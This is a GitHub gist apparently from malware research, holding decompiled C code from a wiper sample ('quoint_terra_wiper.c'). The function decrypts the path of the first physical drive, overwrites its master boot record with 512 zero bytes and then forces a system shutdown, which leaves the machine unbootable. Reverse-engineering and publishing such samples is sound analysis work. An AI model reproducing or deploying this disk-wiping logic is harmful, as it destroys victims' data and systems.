Skip to content

Instantly share code, notes, and snippets.

@m-quoint m-quoint/quoint_terra_wiper.c Secret

Created Jan 27, 2020
Embed
What would you like to do?
void wipe_mbr()
{
wchar_t *v0; // [esp-4h] [ebp-20h]
HANDLE hFile; // [esp+0h] [ebp-1Ch]
DWORD NumberOfBytesWritten; // [esp+8h] [ebp-14h]
LPCVOID lpBuffer; // [esp+Ch] [ebp-10h]
LPCWSTR lpFileName; // [esp+10h] [ebp-Ch]
int v5; // [esp+14h] [ebp-8h]
v5 = 0;
lpFileName = 0;
lpBuffer = 0;
NumberOfBytesWritten = 0;
decrypt_str(a_PhysicalDrive0, key, dword_420850);
sub_402E40(&lpFileName, v0);
hFile = CreateFileW(lpFileName, 0x40000000u, 0, 0, 3u, 0x80u, 0);
str_copy(&lpFileName, &ValueName);
str_copy(&a_PhysicalDrive0, &ValueName);
if ( hFile != -1 )
{
lpBuffer = alloc_zero_filled(0x200u);
if ( lpBuffer )
{
if ( WriteFile(hFile, lpBuffer, 0x200u, &NumberOfBytesWritten, 0) )
{
FlushFileBuffers(hFile);
CloseHandle(hFile);
v5 = 1;
}
sub_402D70(lpBuffer);
}
if ( v5 )
shutdown(6u);
}
sub_402F20(lpFileName);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.